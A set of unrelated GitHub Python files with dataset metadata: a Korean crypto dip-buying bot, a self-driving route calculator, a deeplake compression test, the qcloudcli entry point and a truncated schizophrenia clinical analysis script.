{"seq_id": "24843763491", "text": "from lib.ApiLib import *\nfrom Position import *\nimport time\nfrom loguru import logger\nfrom OrderInfo import *\nfrom TelegramBot import *\n\nWAIT_SECONDS_FOR_BUY = 30\n\nisBuckbotSuspend = False\n\nclass CatchBot:\n    def __init__(self, symbol, option):\n        self.symbol = symbol\n        self.option = option\n\n    def stop(self):\n        pass\n\n    def start(self):\n        logger.info(\"{:10} | Start CatchBot\", self.symbol)\n\n        while True:\n            try:\n                order = self.waitForCatch() # 타겟 이격도 이상 급락하면 매수해서 리턴된다.\n                TelegramBot.sendMsg(\"{:10} | 캐치 매수 체결됨: {:10.5f}\".format(self.symbol, order['price']))\n\n                position = Position(order, self.option)\n                    \n                pnl = position.waitForPositionClosed()  # 포지션이 종료되면 리턴된다. (익절이든 본절/손절이든)\n                logger.info(\"{:10} | 캐치 포지션 종료. PNL: {:10.5f}%\", self.symbol, pnl)\n                TelegramBot.sendMsg(\"{:10} | 캐치 포지션 종료. PNL: {:10.5f}%\".format(self.symbol, pnl))\n            \n            except Exception as ex:\n                logger.error(\"{:10} | CatchBot 종료. Exception: {}\", self.symbol, repr(ex))\n                TelegramBot.sendMsg(\"{:10} | CatchBot 종료. Exception: {}\".format(self.symbol, repr(ex)))\n                break\n\n    def waitForBuyClosed(self, order, waitSeconds):\n        if Lib.hasClosed(order):\n            return order\n\n        for sec in range(waitSeconds):\n            o = Lib.api.fetch_order(order['id'], self.symbol)\n\n            if Lib.hasClosed(o):\n                break\n            \n            time.sleep(1)\n\n        return o\n\n    def getTargetDIPrice(self, curPrice):\n        ma20 = Lib.get20Ma(self.symbol, curPrice)\n        targetPrice = ma20 * (1 - self.option.targetDI)\n        return targetPrice\n\n    def orderBuyLimit(self, price):\n        quantity = Lib.getQuantity(price, self.option.marginRatio)\n        return Lib.api.create_limit_buy_order(self.symbol, quantity, price)\n\n    def waitForCatch(self):\n        global isBuckbotSuspend\n\n        countOfFailure = 0\n        order = None\n        isBuckbotSuspend = False\n\n        while True:\n            if dt.datetime.now().second != 59:\n                time.sleep(0.5)\n                continue\n\n            try:\n                curPrice = Lib.getCurrentPrice(self.symbol)\n                targetPrice = self.getTargetDIPrice(curPrice)\n                \n                if targetPrice >= curPrice:\n                    logger.debug(\"{:10} | 캐치 만족: {:10.5f}\", self.symbol, targetPrice)\n                    isBuckbotSuspend = True # 매수할 때 잔고 여유가 있어야 하므로 bucketBot 대기 매수를 전부 취소하고 스레드를 일시 중지한다.\n                    time.sleep(1)\n\n                    order = self.orderBuyLimit(targetPrice)     # 1분봉 종료 시 이격도를 만족하면 지정가 매수한다.\n                    logger.info(\"{:10} | 캐치 매수 주문: {:10.5f}\", self.symbol, targetPrice)\n                    order = self.waitForBuyClosed(order, WAIT_SECONDS_FOR_BUY)\n                    \n                    if Lib.hasClosed(order):\n                        logger.info(\"{:10} | 캐치 매수 체결됨: {:10.5f}\", self.symbol, order['price'])\n                        break   # 매수 체결되었으므로 캐치 종료\n                    else:\n                        logger.info(\"{:10} | {}초 동안 미체결되어 매수 취소함\", self.symbol, WAIT_SECONDS_FOR_BUY)\n                        Lib.api.cancel_order(order['id'], self.symbol)  # 30초 동안 체결되지 않으면 주문 취소한다.\n                        isBuckbotSuspend = False\n\n                if countOfFailure > 0:\n                    logger.info(\"{:10} | 에러 복구 됨\", self.symbol)\n                    countOfFailure = 0\n\n            except Exception as ex:\n                countOfFailure += 1\n                logger.warning(\"{:10} | {} Raised an exception. {}\", self.symbol, countOfFailure, repr(ex))\n                if countOfFailure >= TRY_COUNT:\n                    raise ex  # 1초 뒤에 다시 시도해 보고 연속 5번 exception 나면 매매를 종료한다.\n\n            time.sleep(1) # 1초에 두 번 취소->주문 되는걸 방지하기 위해 1초를 쉰다.\n\n        return order", "repo_name": "tipop/DITrader", "sub_path": "CatchBot.py", "file_name": "CatchBot.py", "file_ext": "py", "file_size_in_byte": 4366, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "loguru.logger.info", "line_number": 21, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 21, "usage_type": "name"}, {"api_name": "TelegramBot.sendMsg", "line_number": 26, "usage_type": "call"}, {"api_name": "loguru.logger.info", "line_number": 31, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 31, "usage_type": "name"}, {"api_name": "TelegramBot.sendMsg", "line_number": 32, "usage_type": "call"}, {"api_name": "loguru.logger.error", "line_number": 35, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 35, "usage_type": "name"}, {"api_name": "TelegramBot.sendMsg", "line_number": 36, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "loguru.logger.debug", "line_number": 79, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 79, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "loguru.logger.info", "line_number": 84, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 84, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 88, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 88, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 91, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 91, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 96, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 96, "usage_type": "name"}, {"api_name": "loguru.logger.warning", "line_number": 101, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 101, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}]}
{"seq_id": "74397532424", "text": "import itertools\nimport json\nimport operator\nimport typing\n\nimport models\n\n\ndef fetch_geo_data(text: typing.List[str]) -> typing.List[models.GeoMessage]:\n    messages: typing.List[models.GeoMessage] = []\n    for row in text:\n        data = json.loads(row)\n        if 'geo' in row:\n            messages.append(models.GeoMessage(data))\n\n    return sorted(messages, key=operator.attrgetter('utc_dttm'))\n\n\ndef fetch_control_data(\n        text: typing.List[str],\n) -> typing.List[models.ControlMessage]:\n    messages: typing.List[models.ControlMessage] = []\n    for row in text:\n        data = json.loads(row)\n        if 'control_switch_on' in row:\n            messages.append(models.ControlMessage(data))\n\n    return sorted(messages, key=operator.attrgetter('utc_dttm'))\n\n\ndef find_selfdrived_time(\n        messages: typing.List[models.ControlMessage],\n) -> typing.List[models.SelfdrivedInterval]:\n    intervals: typing.List[models.SelfdrivedInterval] = []\n    periods = itertools.groupby(messages,\n                                operator.attrgetter('control_switch_on'))\n    for is_selfdrived, timeseries in periods:\n        if is_selfdrived:\n            intervals.append(models.SelfdrivedInterval(list(timeseries)))\n    return intervals\n\n\ndef filter_stops(\n        messages: typing.List[models.GeoMessage],\n) -> typing.List[models.GeoMessage]:\n    groups = itertools.groupby(messages, key=operator.attrgetter('geo'))\n    return [min(group[1], key=operator.attrgetter('utc_dttm'))\n            for group in groups]\n\n\ndef split_by_seconds(\n        messages: typing.List[models.GeoMessage],\n) -> typing.List[models.GeoMessage]:\n    groups = itertools.groupby(messages, key=operator.attrgetter('utc_dttm'))\n    return [max(group[1], key=operator.attrgetter('geo'))\n            for group in groups]\n\n\ndef compare_coordinates(\n        messages: typing.List[models.GeoMessage],\n) -> typing.List[models.Segment]:\n    segments: typing.List[models.Segment] = []\n    messages.sort(key=operator.attrgetter('utc_dttm'))\n    for i, msg in enumerate(messages):\n        if i+1 != len(messages):\n            segments.append(models.Segment((messages[i], messages[i+1])))\n    return segments\n\n\ndef check_time(\n        interval: models.SelfdrivedInterval,\n        segment: models.Segment,\n) -> bool:\n    if interval.begin_time <= segment.arrival_time <= interval.end_time:\n        return True\n    return False\n\n\ndef who_was_drive(\n        intervals: typing.List[models.SelfdrivedInterval],\n        segments: typing.List[models.Segment],\n):\n    for seg in segments:\n        checks: typing.List[bool] = []\n        for i in intervals:\n            checks.append(check_time(i, seg))\n        seg.is_selfdrived = any(checks)\n    return segments\n\n\ndef get_routes_info(segments: typing.List[models.Segment]):\n    results: typing.List[models.RouteInfo] = []\n    groups = itertools.groupby(segments,\n                               key=operator.attrgetter('is_selfdrived'))\n\n    for is_selfdrived, group in groups:\n        route_segments = tuple(group)\n        distance_list = map(operator.attrgetter('distance'), route_segments)\n        first_segment = min(route_segments,\n                            key=operator.attrgetter('arrival_time'))\n        last_segment = max(route_segments,\n                           key=operator.attrgetter('destination_time'))\n        arrival_point = str(first_segment.arrival_point)\n        arrival_time = first_segment.arrival_time.isoformat()\n        destination_point = str(last_segment.destination_point)\n        destination_time = last_segment.destination_time.isoformat()\n\n        results.append(models.RouteInfo(is_selfdrived=is_selfdrived,\n                                        distance=sum(list(distance_list)),\n                                        units='Meters',\n                                        trip_time=len(route_segments),\n                                        segments=route_segments,\n                                        arrival_point=arrival_point,\n                                        arrival_time=arrival_time,\n                                        destination_time=destination_time,\n                                        destination_point=destination_point,\n                                        ))\n    return results\n\n\ndef route_calculator(data: typing.Any) -> typing.List[models.RouteInfo]:\n    geo_messages = fetch_geo_data(data)\n    control_messages = fetch_control_data(data)\n    uniq_geo = filter_stops(geo_messages)\n    splited_geo = split_by_seconds(uniq_geo)\n    selfdrived_intervals = find_selfdrived_time(control_messages)\n    all_segments = compare_coordinates(splited_geo)\n    all_segments = who_was_drive(selfdrived_intervals, all_segments)\n    routes = get_routes_info(all_segments)\n    return routes\n\n\ndef do_stuff():\n    with open('data', 'r') as file_obj:\n        raw_data = file_obj.readlines()\n\n        for r in route_calculator(raw_data):\n            print(r.serialize())\n\n\nif __name__ == '__main__':\n    do_stuff()\n", "repo_name": "chistopat/sdc_analytics_test", "sub_path": "route_calculator.py", "file_name": "route_calculator.py", "file_ext": "py", "file_size_in_byte": 4982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 9, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 10, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 10, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "models.GeoMessage", "line_number": 14, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 16, "usage_type": "call"}, {"api_name": "models.GeoMessage", "line_number": 9, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.ControlMessage", "line_number": 22, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 24, "usage_type": "call"}, {"api_name": "models.ControlMessage", "line_number": 26, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.ControlMessage", "line_number": 21, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.ControlMessage", "line_number": 32, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 34, "usage_type": "attribute"}, {"api_name": "models.SelfdrivedInterval", "line_number": 34, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 35, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 36, "usage_type": "call"}, {"api_name": "models.SelfdrivedInterval", "line_number": 39, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.SelfdrivedInterval", "line_number": 33, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 44, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 44, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 46, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 46, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 52, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 54, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 54, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 55, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 53, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 53, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.GeoMessage", "line_number": 60, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Segment", "line_number": 62, "usage_type": "attribute"}, {"api_name": "operator.attrgetter", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Segment", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 61, "usage_type": "attribute"}, {"api_name": "models.Segment", "line_number": 61, "usage_type": "attribute"}, {"api_name": "models.SelfdrivedInterval", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.Segment", "line_number": 72, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 80, "usage_type": "attribute"}, {"api_name": "models.SelfdrivedInterval", "line_number": 80, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Segment", "line_number": 81, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 84, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.Segment", "line_number": 91, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 92, "usage_type": "attribute"}, {"api_name": "models.RouteInfo", "line_number": 92, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 93, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 94, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 98, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 100, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 102, "usage_type": "call"}, {"api_name": "models.RouteInfo", "line_number": 108, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 121, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 121, "usage_type": "attribute"}, {"api_name": "models.RouteInfo", "line_number": 121, "usage_type": "attribute"}]}
{"seq_id": "33342783438", "text": "from deeplake.constants import MB, PARTIAL_NUM_SAMPLES\nfrom deeplake.core.chunk.sample_compressed_chunk import SampleCompressedChunk\nimport numpy as np\nimport pytest\n\nimport deeplake\nfrom deeplake.core.meta.tensor_meta import TensorMeta\nfrom deeplake.core.sample import Sample  # type: ignore\nfrom deeplake.core.tiling.deserialize import np_list_to_sample\nfrom deeplake.core.tiling.sample_tiles import SampleTiles\n\ncompressions_paremetrized = pytest.mark.parametrize(\"compression\", [\"lz4\"])\n\n\ncommon_args = {\n    \"min_chunk_size\": 1 * MB,\n    \"max_chunk_size\": 2 * MB,\n    \"tiling_threshold\": 1 * MB,\n}\n\n\ndef create_tensor_meta():\n    tensor_meta = TensorMeta()\n    tensor_meta.dtype = \"float32\"\n    tensor_meta.max_shape = None\n    tensor_meta.min_shape = None\n    tensor_meta.htype = None\n    tensor_meta.length = 0\n    return tensor_meta\n\n\n@compressions_paremetrized\ndef test_read_write_sequence(compression):\n    tensor_meta = create_tensor_meta()\n    common_args[\"tensor_meta\"] = tensor_meta\n    common_args[\"compression\"] = compression\n    dtype = tensor_meta.dtype\n    data_in = [np.random.rand(250, 125, 3).astype(dtype) for _ in range(10)]\n    data_in2 = data_in.copy()\n    while data_in:\n        chunk = SampleCompressedChunk(**common_args)\n        num_samples = int(chunk.extend_if_has_space(data_in))\n        data_out = [chunk.read_sample(i) for i in range(num_samples)]\n        np.testing.assert_array_equal(data_out, data_in2[:num_samples])\n        data_in = data_in[num_samples:]\n        data_in2 = data_in2[num_samples:]\n\n\n@pytest.mark.slow\n@compressions_paremetrized\ndef test_read_write_sequence_big(cat_path, compression):\n    tensor_meta = create_tensor_meta()\n    common_args = {\n        \"min_chunk_size\": 16 * MB,\n        \"max_chunk_size\": 32 * MB,\n        \"tiling_threshold\": 16 * MB,\n        \"tensor_meta\": tensor_meta,\n        \"compression\": compression,\n    }\n\n    dtype = tensor_meta.dtype\n    data_in = []\n    for i in range(50):\n        if i % 10 == 0:\n            data_in.append(np.random.rand(6001, 3000, 3).astype(dtype))\n        elif i % 3 == 0:\n            data_in.append(deeplake.read(cat_path))\n        else:\n            data_in.append(np.random.rand(1000, 500, 3).astype(dtype))\n    data_in2 = data_in.copy()\n    tiles = []\n    original_length = len(data_in)\n\n    while data_in:\n        chunk = SampleCompressedChunk(**common_args)\n        num_samples = chunk.extend_if_has_space(data_in)\n        if num_samples == PARTIAL_NUM_SAMPLES:\n            tiles.append(chunk.read_sample(0, is_tile=True))\n            sample = data_in[0]\n            assert isinstance(sample, SampleTiles)\n            if sample.is_last_write:\n                current_length = len(data_in)\n                index = original_length - current_length\n                full_data_out = np_list_to_sample(\n                    tiles,\n                    sample.sample_shape,\n                    sample.tile_shape,\n                    sample.layout_shape,\n                    dtype,\n                )\n                np.testing.assert_array_equal(full_data_out, data_in2[index])\n                data_in = data_in[1:]\n                tiles = []\n\n        elif num_samples > 0:\n            data_out = [chunk.read_sample(i) for i in range(num_samples)]\n            for i, item in enumerate(data_out):\n                if isinstance(item, Sample):\n                    item = item.array\n                np.testing.assert_array_equal(item, data_in[i])\n            data_in = data_in[num_samples:]\n\n\n# @compressions_paremetrized\n# def test_update(compression):\n#     tensor_meta = create_tensor_meta()\n#     common_args[\"tensor_meta\"] = tensor_meta\n#     common_args[\"compression\"] = compression\n#     dtype = tensor_meta.dtype\n#     arr = np.random.rand(7, 25, 125, 3).astype(dtype)\n#     data_in = list(arr)\n#     chunk = SampleCompressedChunk(**common_args)\n#     chunk.extend_if_has_space(data_in)\n#     data_out = np.array([chunk.read_sample(i) for i in range(7)])\n#     np.testing.assert_array_equal(data_out, data_in)\n\n#     data_3 = np.random.rand(175, 350, 3).astype(dtype)\n#     data_5 = np.random.rand(1500, 750, 3).astype(dtype)\n\n#     chunk.update_sample(3, data_3)\n#     chunk.update_sample(5, data_5)\n#     for i in range(7):\n#         if i == 3:\n#             np.testing.assert_array_equal(chunk.read_sample(i), data_3)\n#         elif i == 5:\n#             np.testing.assert_array_equal(chunk.read_sample(i), data_5)\n#         else:\n#             np.testing.assert_array_equal(chunk.read_sample(i), arr[i])\n", "repo_name": "activeloopai/deeplake", "sub_path": "deeplake/core/chunk/test_sample_compressed.py", "file_name": "test_sample_compressed.py", "file_ext": "py", "file_size_in_byte": 4512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7141, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "deeplake.constants.MB", "line_number": 16, "usage_type": "name"}, {"api_name": "deeplake.constants.MB", "line_number": 17, "usage_type": "name"}, {"api_name": "deeplake.constants.MB", "line_number": 18, "usage_type": "name"}, {"api_name": "deeplake.core.meta.tensor_meta.TensorMeta", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "deeplake.core.chunk.sample_compressed_chunk.SampleCompressedChunk", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 44, "usage_type": "attribute"}, {"api_name": "deeplake.constants.MB", "line_number": 54, "usage_type": "name"}, {"api_name": "deeplake.constants.MB", "line_number": 55, "usage_type": "name"}, {"api_name": "deeplake.constants.MB", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.random.rand", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 65, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 69, "usage_type": "attribute"}, {"api_name": "deeplake.core.chunk.sample_compressed_chunk.SampleCompressedChunk", "line_number": 75, "usage_type": "call"}, {"api_name": "deeplake.constants.PARTIAL_NUM_SAMPLES", "line_number": 77, "usage_type": "name"}, {"api_name": "deeplake.core.tiling.sample_tiles.SampleTiles", "line_number": 80, "usage_type": "argument"}, {"api_name": "deeplake.core.tiling.deserialize.np_list_to_sample", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 91, "usage_type": "attribute"}, {"api_name": "deeplake.core.sample.Sample", "line_number": 98, "usage_type": "argument"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 49, "usage_type": "attribute"}]}
{"seq_id": "33132180732", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport errno\r\nimport socket\r\nimport sys\r\nimport time\r\nimport traceback\r\n\r\nfrom . import handleParameter\r\nfrom . import handleData\r\nfrom . import handleCmd\r\nfrom . import result\r\nfrom . import showHelp\r\nfrom . import autoComplete\r\n\r\ntry:\r\n    reload(sys)  # Python 2.7\r\n    sys.setdefaultencoding('utf8')\r\nexcept NameError:\r\n    try:\r\n        from importlib import reload  # Python 3.4+\r\n        reload(sys)\r\n    except ImportError:\r\n        from imp import reload  # Python 3.0 - 3.3\r\n        reload(sys)\r\n\r\ndef main():\r\n    handle = QcloudCLI()\r\n    handle.main()\r\n\r\nclass QcloudCLI:\r\n    def __init__(self):\r\n        self.user_input = sys.argv[1:]\r\n        self.handleParameter = handleParameter.handleParameter()\r\n        self.handleCmd = handleCmd.handleCmd()\r\n        self.handleData = handleData.handleData()\r\n        self.showHelp = showHelp.showHelp()\r\n        self.completer = autoComplete.Completer()\r\n\r\n    def main(self):\r\n        module = ''\r\n        #get module such as cvm cdb..maybe extra cmd such as help,version\r\n        if self.user_input.__len__() > 0:\r\n            module = self.user_input[0].lower()\r\n\r\n        #show qcloudcli help\r\n        help_cmd = ['help','-h','--help']\r\n        if not module or module.lower() in help_cmd:\r\n            self.handleCmd.showQcloudCliHelp()\r\n            return\r\n\r\n        #show version\r\n        version_cmd = ['version','--version']\r\n        if module.lower() in version_cmd:\r\n            self.handleCmd.showVersion()\r\n            return\r\n\r\n        #configure qcloudcli\r\n        configure_cmd = ['configure']\r\n        if module.lower() in configure_cmd:\r\n            self.handleCmd.configureQcloudcli()\r\n            return\r\n\r\n        #showconfigure qcloudcli\r\n        showconfigure_cmd = ['showconfigure']\r\n        if module.lower() in showconfigure_cmd:\r\n            self.handleCmd.showconfigure()\r\n            return\r\n\r\n        #addprofile qcloudcli\r\n        addprofile_cmd = ['addprofile']\r\n        if module.lower() in addprofile_cmd:\r\n            self.handleCmd.addprofile()\r\n            return\r\n\r\n        # useprofile qcloudcli\r\n        useprofile_cmd = ['useprofile']\r\n        if module.lower() in useprofile_cmd:\r\n            self.handleCmd.useprofile()\r\n            return\r\n\r\n        # useprofile qcloudcli\r\n        useprofile_cmd = ['delprofile']\r\n        if module.lower() in useprofile_cmd:\r\n            self.handleCmd.delprofile()\r\n            return\r\n\r\n\r\n        # get action,such as DescribeInterfaces\r\n        action = self.handleParameter.getAction()\r\n\r\n        # get paramlist\r\n        keyValues = self.handleParameter._getKeyValues()\r\n        outPutFormat = self.handleParameter.getUserDefinedOutPutFormat(keyValues)\r\n        if outPutFormat is not None and len(outPutFormat) != 0:\r\n            outPutFormat = outPutFormat[0]\r\n        else:\r\n            outPutFormat = self.handleCmd.getUserFormat()\r\n            if outPutFormat is None or outPutFormat == \"\":\r\n                outPutFormat = 'json'\r\n\r\n        if module in self.handleData.getAllModules():\r\n            moduleAllActions = self.handleData.getModuleActions(module)\r\n            if action in moduleAllActions:\r\n                instance = self.handleData.makeInstance(module, action)\r\n                instance_version = self.handleData.makeInstance(module, action)\r\n                in_class = self.handleData.makeClass(module, action)\r\n                in_class_version = self.handleData.makeClass(module, action)\r\n                is_version = 0\r\n                if module == 'cvm' and action+'V3' in moduleAllActions:\r\n                    is_version = 1\r\n                    in_class_version = self.handleData.makeClass(module, action+'V3')\r\n                    instance_version = self.handleData.makeInstance(module, action+'V3')\r\n                if (instance is not None or instance_version is not None) and (in_class is not None or in_class_version is not None):\r\n                    helpcmds = ['-h', '--help', 'help']\r\n                    cmdlen = self.user_input.__len__()\r\n                    if cmdlen >= 3:\r\n                        for i in range(2, cmdlen):\r\n                            if self.user_input[i] in helpcmds:\r\n                                self.showHelp.showParameterError(module, action, is_version, self.completer._help_to_show_instance_attribute(in_class, in_class_version)[0],self.completer._help_to_show_instance_attribute(in_class, in_class_version)[1],self.completer._help_to_show_instance_attribute(in_class, in_class_version)[2], self.completer._help_to_show_instance_attribute(in_class, in_class_version)[3])\r\n                                return\r\n                    if keyValues.get(\"RegionId\") is None and keyValues.get(\"regionId\") is None and keyValues.get(\"Regionid\")is None and keyValues.get(\"regionid\") is None:\r\n                        keyValues[\"RegionId\"] = [self.handleCmd.getUserRegion()]\r\n                    if not self.handleData.checkInputIsEmpty(keyValues):\r\n                        print('Your [SecretId] or [SecretKey] or [RegionId] is absence!')\r\n                        return\r\n                    try:\r\n                        if not keyValues.get(\"Version\") is None and self.is_valid_date(keyValues.get(\"Version\")[0]) and is_version == 1:\r\n                            outcome = self.handleData.getResponse(module, action, keyValues, instance_version, in_class_version)\r\n                        else:\r\n                            outcome = self.handleData.getResponse(module, action, keyValues, instance, in_class)\r\n                        if outcome is None:\r\n                            return\r\n                        result.display_result(action, outcome, outPutFormat, keyValues)\r\n                    except socket.error as e:\r\n                        print(e)\r\n                        if e.errno == errno.ETIMEDOUT:\r\n                            print('Connection aborted due to timeout exception.')\r\n                            print('Please check your network connection, firewall and router settings.')\r\n                            print('If you are behind a proxy, you need to set the https_proxy environment variable.')\r\n                        else:\r\n                            print(traceback.format_exc())\r\n                    except Exception as e:\r\n                        print(e)\r\n                        print(traceback.format_exc())\r\n                else:\r\n                    print('qcloudcli internal error, please try again.')\r\n            else:\r\n                self.showHelp.showActionError(module)\r\n        else:\r\n            self.showHelp.showModuleError()\r\n\r\n    def is_valid_date(self, str):\r\n        try:\r\n            time.strptime(str, \"%Y-%m-%d\")\r\n            return True\r\n        except:\r\n            return False\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n\r\n", "repo_name": "QcloudApi/qcloudcli", "sub_path": "qcloudcli/Qcloudcli.py", "file_name": "Qcloudcli.py", "file_ext": "py", "file_size_in_byte": 6840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.setdefaultencoding", "line_number": 19, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 23, "usage_type": "call"}, {"api_name": "imp.reload", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "socket.error", "line_number": 136, "usage_type": "attribute"}, {"api_name": "errno.ETIMEDOUT", "line_number": 138, "usage_type": "attribute"}, {"api_name": "traceback.format_exc", "line_number": 143, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 146, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 156, "usage_type": "call"}]}
{"seq_id": "1239761306", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 11 17:02:41 2018\n\n@author: ad247405\n\"\"\"\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport nibabel as nib\nimport pandas as pd\nimport nibabel as nib\nimport json\nfrom nilearn import plotting\nfrom nilearn import image\nfrom scipy.stats.stats import pearsonr\nimport shutil\nimport scipy.stats\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport parsimony.utils.check_arrays as check_arrays\nfrom sklearn import preprocessing\nimport statsmodels.api as sm\nfrom statsmodels.formula.api import ols\nimport seaborn as sns\n\n#https://central.xnat.org/REST/projects/NUDataSharing\nINPUT_CLINIC_FILENAME = \"/neurospin/abide/schizConnect/data/december_2017_clinical_score/schizconnect_NUSDAST_assessmentData_4495.csv\"\n\ny_all = np.load(\"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/results/clustering_ROIs/data/y.npy\")\nsite = np.load(\"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/results/clustering_ROIs/data/site.npy\")\ny_nudast = y_all[site==3]\n\npop= pd.read_csv(\"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/results/clustering_ROIs/data/population.csv\")\n\nsite = np.load(\"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/results/clustering_ROIs/data/site.npy\")\nclinic = pd.read_csv(INPUT_CLINIC_FILENAME)\n\npop= pop[pop[\"site_num\"]==3]\nage = pop[\"age\"].values\nsex = pop[\"sex_num\"].values\n\nlabels_cluster = np.load(\"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/results/clustering_ROIs/results/thick+vol/3_clusters/labels_cluster.npy\")\nlabels_cluster = labels_cluster[site==3]\n\ndf_scores = pd.DataFrame()\ndf_scores[\"subjectid\"] = pop.subjectid\nfor score in 